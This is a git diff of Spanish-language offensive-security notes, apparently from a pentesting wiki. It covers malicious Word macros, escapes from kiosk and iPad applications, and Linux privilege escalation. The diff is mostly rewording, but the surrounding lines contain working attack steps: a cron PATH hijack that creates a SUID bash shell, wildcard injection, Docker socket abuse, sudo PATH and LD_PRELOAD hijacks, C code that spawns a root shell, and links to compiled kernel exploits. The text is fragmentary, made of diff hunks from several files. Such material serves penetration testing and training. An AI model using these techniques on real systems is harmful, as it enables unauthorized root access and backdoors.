Es posible usar macros para ejecutar código arbitrario desde el documento.
|
||||
|
||||
#### Funciones de Autocarga
|
||||
#### Funciones de Carga Automática
|
||||
|
||||
Cuanto más comunes sean, más probable es que el AV las detecte.
|
||||
|
||||
@ -71,7 +71,7 @@ Ve a **Archivo > Información > Inspeccionar documento > Inspeccionar documento*
|
||||
#### Extensión de Doc
|
||||
|
||||
Cuando termines, selecciona el menú desplegable **Guardar como tipo**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
|
||||
Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (por ejemplo, el ícono de miniatura tiene un enorme `!` y algunos gateways web/correo los bloquean por completo). Por lo tanto, esta **extensión `.doc` heredada es el mejor compromiso**.
|
||||
Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (por ejemplo, el ícono de miniatura tiene un enorme `!` y algunos gateways web/correo los bloquean por completo). Por lo tanto, esta **extensión heredada `.doc` es el mejor compromiso**.
|
||||
|
||||
#### Generadores de macros maliciosas
|
||||
|
||||
|
||||
@ -37,7 +37,7 @@ Quizás **usando una opción `Abrir con`** puedas abrir/ejecutar algún tipo de
|
||||
|
||||
#### Windows
|
||||
|
||||
Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que pueden ser usados para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que pueden ser utilizados para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
#### \*NIX \_\_
|
||||
|
||||
@ -50,7 +50,7 @@ _bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.gi
|
||||
- **Variables de entorno**: Hay muchas variables de entorno que apuntan a alguna ruta
|
||||
- **Otros protocolos**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
- **Enlaces simbólicos**
|
||||
- **Accesos directos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Archivo/Abrir Diálogo), CTRL-P (Imprimir Diálogo), CTRL-S (Guardar Como)
|
||||
- **Atajos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Archivo/Abrir Diálogo), CTRL-P (Imprimir Diálogo), CTRL-S (Guardar Como)
|
||||
- Menú administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
- **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
- **Rutas UNC**: Rutas para conectarse a carpetas compartidas. Deberías intentar conectarte al C$ de la máquina local ("\\\127.0.0.1\c$\Windows\System32")
|
||||
@ -97,7 +97,7 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
|
||||
- WINDOWS+D – Mostrar escritorio
|
||||
- WINDOWS+E – Lanzar el explorador de Windows
|
||||
- WINDOWS+R – Ejecutar
|
||||
- WINDOWS+U – Centro de accesibilidad
|
||||
- WINDOWS+U – Centro de Accesibilidad
|
||||
- WINDOWS+F – Buscar
|
||||
- SHIFT+F10 – Menú contextual
|
||||
- CTRL+SHIFT+ESC – Administrador de tareas
|
||||
@ -122,7 +122,7 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
|
||||
|
||||
#### 'Barra de herramientas de imagen'
|
||||
|
||||
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic. Podrás Guardar, Imprimir, Mailto, Abrir "Mis Imágenes" en el Explorador. El Kiosk necesita estar usando Internet Explorer.
|
||||
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic. Podrás Guardar, Imprimir, Enviar por correo, Abrir "Mis Imágenes" en el Explorador. El Kiosk necesita estar usando Internet Explorer.
|
||||
|
||||
#### Protocolo Shell
|
||||
|
||||
@ -159,7 +159,7 @@ Consulta esta página para más información: [https://www.howtohaven.com/system
|
||||
Versiones de respaldo de iKat:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)
|
||||
|
||||
Crea un diálogo común usando JavaScript y accede al explorador de archivos: `document.write('<input/type=file>')`\
|
||||
Fuente: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
@ -171,25 +171,25 @@ Fuente: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de1981
|
||||
- Desliza hacia arriba con cuatro (o cinco) dedos / Doble toque en el botón de inicio: Para ver la vista de multitarea y cambiar de aplicación
|
||||
- Desliza de un lado a otro con cuatro o cinco dedos: Para cambiar a la siguiente/última aplicación
|
||||
- Pellizca la pantalla con cinco dedos / Toca el botón de inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a Inicio
|
||||
- Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): Aparecerá el dock
|
||||
- Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): La base aparecerá
|
||||
- Desliza hacia abajo desde la parte superior de la pantalla con 1 dedo: Para ver tus notificaciones
|
||||
- Desliza hacia abajo con 1 dedo en la esquina superior derecha de la pantalla: Para ver el centro de control del iPad Pro
|
||||
- Desliza 1 dedo desde la izquierda de la pantalla 1-2 pulgadas: Para ver la vista de Hoy
|
||||
- Desliza rápido 1 dedo desde el centro de la pantalla hacia la derecha o hacia la izquierda: Para cambiar a la siguiente/última aplicación
|
||||
- Presiona y mantén el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad +** Mueve el control deslizante de **apagar** todo el camino hacia la derecha: Para apagar
|
||||
- Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio durante unos segundos**: Para forzar un apagado duro
|
||||
- Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la parte inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo muy brevemente, ya que si los mantienes durante unos segundos se realizará un apagado duro.
|
||||
- Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la esquina inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo muy brevemente, ya que si los mantienes durante unos segundos se realizará un apagado duro.
|
||||
|
||||
### Atajos
|
||||
|
||||
Deberías tener un teclado de iPad o un adaptador de teclado USB. Solo se mostrarán aquí los atajos que podrían ayudar a escapar de la aplicación.
|
||||
Deberías tener un teclado de iPad o un adaptador de teclado USB. Solo se mostrarán los atajos que podrían ayudar a escapar de la aplicación aquí.
|
||||
|
||||
| Tecla | Nombre |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Comando |
|
||||
| ⌥ | Opción (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Retorno |
|
||||
| ↩ | Retorno |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Control |
|
||||
| ← | Flecha Izquierda |
|
||||
@ -222,7 +222,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
||||
| ⌘ (Espacio) | Abrir Spotlight |
|
||||
| ⌘⇥ (Comando-Tab) | Listar las últimas diez aplicaciones usadas |
|
||||
| ⌘\~ | Ir a la última aplicación |
|
||||
| ⌘⇧3 (Comando-Shift-3) | Captura de pantalla (flota en la parte inferior izquierda para guardar o actuar sobre ella) |
|
||||
| ⌘⇧3 (Comando-Shift-3) | Captura de pantalla (flota en la esquina inferior izquierda para guardar o actuar sobre ella) |
|
||||
| ⌘⇧4 | Captura de pantalla y ábrela en el editor |
|
||||
| Presiona y mantén ⌘ | Lista de atajos disponibles para la aplicación |
|
||||
| ⌘⌥D (Comando-Opción/Alt-D) | Muestra el dock |
|
||||
@ -233,9 +233,9 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
||||
| → (Flecha derecha) | Siguiente ítem |
|
||||
| ← (Flecha izquierda) | Ítem anterior |
|
||||
| ↑↓ (Flecha arriba, Flecha abajo) | Toca simultáneamente el ítem seleccionado |
|
||||
| ⌥ ↓ (Opción-Flecha abajo) | Desplazarse hacia abajo |
|
||||
| ⌥↑ (Opción-Flecha arriba) | Desplazarse hacia arriba |
|
||||
| ⌥← o ⌥→ (Opción-Flecha izquierda o Opción-Flecha derecha) | Desplazarse a la izquierda o a la derecha |
|
||||
| ⌥ ↓ (Flecha hacia abajo) | Desplazarse hacia abajo |
|
||||
| ⌥↑ (Flecha hacia arriba) | Desplazarse hacia arriba |
|
||||
| ⌥← o ⌥→ (Flecha hacia la izquierda o Flecha hacia la derecha) | Desplazarse a la izquierda o a la derecha |
|
||||
| ^⌥S (Control-Opción-S) | Activar o desactivar el habla de VoiceOver |
|
||||
| ⌘⇧⇥ (Comando-Shift-Tab) | Cambiar a la aplicación anterior |
|
||||
| ⌘⇥ (Comando-Tab) | Volver a la aplicación original |
|
||||
@ -256,7 +256,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
||||
| ⌘⇧T (Comando-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces) |
|
||||
| ⌘\[ | Regresar una página en tu historial de navegación |
|
||||
| ⌘] | Avanzar una página en tu historial de navegación |
|
||||
| ⌘⇧R | Activar Modo de Lectura |
|
||||
| ⌘⇧R | Activar Modo Lector |
|
||||
|
||||
#### Atajos de Mail
|
||||
|
||||
@ -267,7 +267,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
||||
| ⌘W | Cerrar la pestaña actual |
|
||||
| ⌘R | Actualizar la pestaña actual |
|
||||
| ⌘. | Detener la carga de la pestaña |
|
||||
| ⌘⌥F (Comando-Opción/Alt-F) | Buscar en tu buzón |
|
||||
| ⌘⌥F (Comando-Opción/Alt-F) | Buscar en tu bandeja de entrada |
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### Información del SO
|
||||
|
||||
Comencemos a obtener información sobre el SO en ejecución
|
||||
Comencemos a obtener algo de conocimiento sobre el SO en ejecución
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -35,7 +35,7 @@ searchsploit "Linux Kernel"
|
||||
Puedes encontrar una buena lista de núcleos vulnerables y algunos **exploits compilados** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
|
||||
Otros sitios donde puedes encontrar algunos **exploits compilados**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
|
||||
Para extraer todas las versiones vulnerables del núcleo de esa web, puedes hacer:
|
||||
Para extraer todas las versiones de núcleo vulnerables de esa web, puedes hacer:
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
|
||||
```
|
||||
@ -45,7 +45,7 @@ Las herramientas que podrían ayudar a buscar exploits del kernel son:
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN la víctima, solo verifica exploits para el kernel 2.x)
|
||||
|
||||
Siempre **busca la versión del kernel en Google**, tal vez tu versión del kernel esté escrita en algún exploit del kernel y así estarás seguro de que este exploit es válido.
|
||||
Siempre **busca la versión del kernel en Google**, tal vez tu versión del kernel esté escrita en algún exploit del kernel y así te asegurarás de que este exploit sea válido.
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
@ -148,9 +148,9 @@ También, verifica si **algún compilador está instalado**. Esto es útil si ne
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
### Software Vulnerable Instalado
|
||||
### Software vulnerable instalado
|
||||
|
||||
Verifique la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalar privilegios...\
|
||||
Verifique la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalar privilegios…\
|
||||
Se recomienda verificar manualmente la versión del software instalado más sospechoso.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
@ -160,7 +160,7 @@ Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para veri
|
||||
|
||||
> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto, se recomienda algunas aplicaciones como OpenVAS o similares que verificarán si alguna versión de software instalada es vulnerable a exploits conocidos._
|
||||
|
||||
## Procesos
|
||||
## Processes
|
||||
|
||||
Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutado por root?)
|
||||
```bash
|
||||
@ -168,7 +168,7 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Siempre verifica si hay posibles [**depuradores de electron/cef/chromium**] corriendo, podrías abusar de ello para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
|
||||
Siempre verifica si hay posibles [**electron/cef/chromium debuggers**] corriendo, podrías abusar de ello para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
|
||||
También **verifica tus privilegios sobre los binarios de los procesos**, tal vez puedas sobrescribir a alguien.
|
||||
|
||||
### Monitoreo de procesos
|
||||
@ -189,7 +189,7 @@ Sin embargo, recuerda que **como usuario regular puedes leer la memoria de los p
|
||||
> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en que funcionaba el ptracing.
|
||||
> - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser depurado.
|
||||
> - **kernel.yama.ptrace_scope = 2**: solo el administrador puede usar ptrace, ya que requiere la capacidad CAP_SYS_PTRACE.
|
||||
> - **kernel.yama.ptrace_scope = 3**: No se pueden rastrear procesos con ptrace. Una vez establecido, se necesita un reinicio para habilitar el ptracing nuevamente.
|
||||
> - **kernel.yama.ptrace_scope = 3**: No se pueden rastrear procesos con ptrace. Una vez establecido, se necesita un reinicio para habilitar nuevamente el ptracing.
|
||||
|
||||
#### GDB
|
||||
|
||||
@ -266,7 +266,7 @@ Press Ctrl-C to end monitoring without terminating the process.
|
||||
```
|
||||
### Herramientas
|
||||
|
||||
Para volcar la memoria de un proceso, podrías usar:
|
||||
Para volcar la memoria de un proceso, puedes usar:
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que te pertenece
|
||||
@ -296,7 +296,7 @@ La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Conexiones FTP Activas) | vsftpd |
|
||||
| Apache2 (Sesiones HTTP Basic Auth Activas) | apache2 |
|
||||
| Apache2 (Sesiones HTTP Básicas Activas) | apache2 |
|
||||
| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
@ -315,19 +315,19 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Scheduled/Cron jobs
|
||||
|
||||
Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que está siendo ejecutado por root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
|
||||
Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que se ejecute como root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
|
||||
```
|
||||
### Ruta de Cron
|
||||
### Cron path
|
||||
|
||||
Por ejemplo, dentro de _/etc/crontab_ puedes encontrar la RUTA: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
|
||||
(_Nota cómo el usuario "user" tiene privilegios de escritura sobre /home/user_)
|
||||
|
||||
Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer la ruta. Por ejemplo: _\* \* \* \* root overwrite.sh_\
|
||||
Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el path. Por ejemplo: _\* \* \* \* root overwrite.sh_\
|
||||
Entonces, puedes obtener un shell de root usando:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron usando un script con un comodín (Inyección de Comodín)
|
||||
|
||||
Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotar esto para hacer cosas inesperadas (como privesc). Ejemplo:
|
||||
Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotarlo para hacer cosas inesperadas (como privesc). Ejemplo:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
@ -385,7 +385,7 @@ Por ejemplo, crea tu puerta trasera dentro del archivo .service con **`ExecStart
|
||||
|
||||
### Binarios de servicio escribibles
|
||||
|
||||
Ten en cuenta que si tienes **permisos de escritura sobre los binarios que son ejecutados por servicios**, puedes cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras sean ejecutadas.
|
||||
Ten en cuenta que si tienes **permisos de escritura sobre los binarios que son ejecutados por los servicios**, puedes cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras sean ejecutadas.
|
||||
|
||||
### PATH de systemd - Rutas relativas
|
||||
|
||||
@ -405,7 +405,7 @@ Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del bin
|
||||
|
||||
## **Temporizadores**
|
||||
|
||||
**Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona.
|
||||
Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos de `**.service**`. Los **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona.
|
||||
|
||||
Puedes enumerar todos los temporizadores con:
|
||||
```bash
|
||||
@ -419,7 +419,7 @@ Unit=backdoor.service
|
||||
```
|
||||
En la documentación puedes leer qué es la Unidad:
|
||||
|
||||
> La unidad que se activa cuando se agota este temporizador. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor predeterminado es un servicio que tiene el mismo nombre que la unidad del temporizador, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del temporizador tengan el mismo nombre, excepto por el sufijo.
|
||||
> La unidad que se activa cuando se agota este temporizador. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto es un servicio que tiene el mismo nombre que la unidad del temporizador, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del temporizador tengan el mismo nombre, excepto por el sufijo.
|
||||
|
||||
Por lo tanto, para abusar de este permiso necesitarías:
|
||||
|
||||
@ -446,7 +446,7 @@ Los sockets se pueden configurar utilizando archivos `.socket`.
|
||||
**Aprende más sobre sockets con `man systemd.socket`.** Dentro de este archivo, se pueden configurar varios parámetros interesantes:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero se utiliza un resumen para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.)
|
||||
- `Accept`: Toma un argumento booleano. Si es **true**, se **crea una instancia de servicio para cada conexión entrante** y solo se le pasa el socket de conexión. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para sockets de datagramas y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera que sea adecuada para `Accept=no`.
|
||||
- `Accept`: Toma un argumento booleano. Si es **true**, se **crea una instancia de servicio para cada conexión entrante** y solo se pasa el socket de conexión a ella. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para sockets de datagramas y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera que sea adecuada para `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Toma una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y vinculados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de argumentos para el proceso.
|
||||
- `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente.
|
||||
- `Service`: Especifica el nombre de la unidad de **servicio** **a activar** en el **tráfico entrante**. Esta configuración solo se permite para sockets con Accept=no. Por defecto, se utiliza el servicio que lleva el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción.
|
||||
@ -454,7 +454,7 @@ Los sockets se pueden configurar utilizando archivos `.socket`.
|
||||
### Archivos .socket escribibles
|
||||
|
||||
Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
|
||||
&#xNAN;_Note que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_
|
||||
_Note que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_
|
||||
|
||||
### Sockets escribibles
|
||||
|
||||
@ -502,7 +502,7 @@ Estos comandos te permiten ejecutar un contenedor con acceso a nivel de root al
|
||||
|
||||
#### **Usando la API de Docker Directamente**
|
||||
|
||||
En casos donde la CLI de Docker no está disponible, el socket de Docker aún puede ser manipulado usando la API de Docker y comandos `curl`.
|
||||
En casos donde el CLI de Docker no está disponible, el socket de Docker aún puede ser manipulado usando la API de Docker y comandos `curl`.
|
||||
|
||||
1. **Listar Imágenes de Docker:** Recupera la lista de imágenes disponibles.
|
||||
|
||||
@ -566,7 +566,7 @@ D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que pe
|
||||
|
||||
El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda a transmitir eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
|
||||
|
||||
D-Bus opera bajo un **modelo de permitir/negar**, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
|
||||
D-Bus opera bajo un modelo de **permitir/denegar**, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política coincidentes. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
|
||||
|
||||
Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
|
||||
|
||||
@ -763,13 +763,13 @@ export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a este (siempre verifica con** _**strings**_ **el contenido de un binario SUID extraño)**.
|
||||
Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a este (siempre verifica con** _**strings**_ **el contenido de un extraño binario SUID)**.
|
||||
|
||||
[Ejemplos de payloads para ejecutar.](payloads-to-execute.md)
|
||||
|
||||
### Binario SUID con ruta de comando
|
||||
|
||||
Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** llamada como el comando que el archivo suid está llamando.
|
||||
Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** con el mismo nombre que el comando que el archivo suid está llamando.
|
||||
|
||||
Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla:
|
||||
```bash
|
||||
@ -782,12 +782,12 @@ Entonces, cuando llamas al binario suid, esta función se ejecutará
|
||||
|
||||
La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que deben ser cargadas por el cargador antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca.
|
||||
|
||||
Sin embargo, para mantener la seguridad del sistema y prevenir que esta función sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
|
||||
Sin embargo, para mantener la seguridad del sistema y prevenir que esta característica sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
|
||||
|
||||
- El cargador ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_).
|
||||
- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también son suid/sgid.
|
||||
|
||||
La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando se ejecutan comandos con `sudo`, lo que potencialmente lleva a la ejecución de código arbitrario con privilegios elevados.
|
||||
La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando se ejecutan comandos con `sudo`, lo que potencialmente puede llevar a la ejecución de código arbitrario con privilegios elevados.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -884,7 +884,7 @@ setresuid(0,0,0);
|
||||
system("/bin/bash -p");
|
||||
}
|
||||
```
|
||||
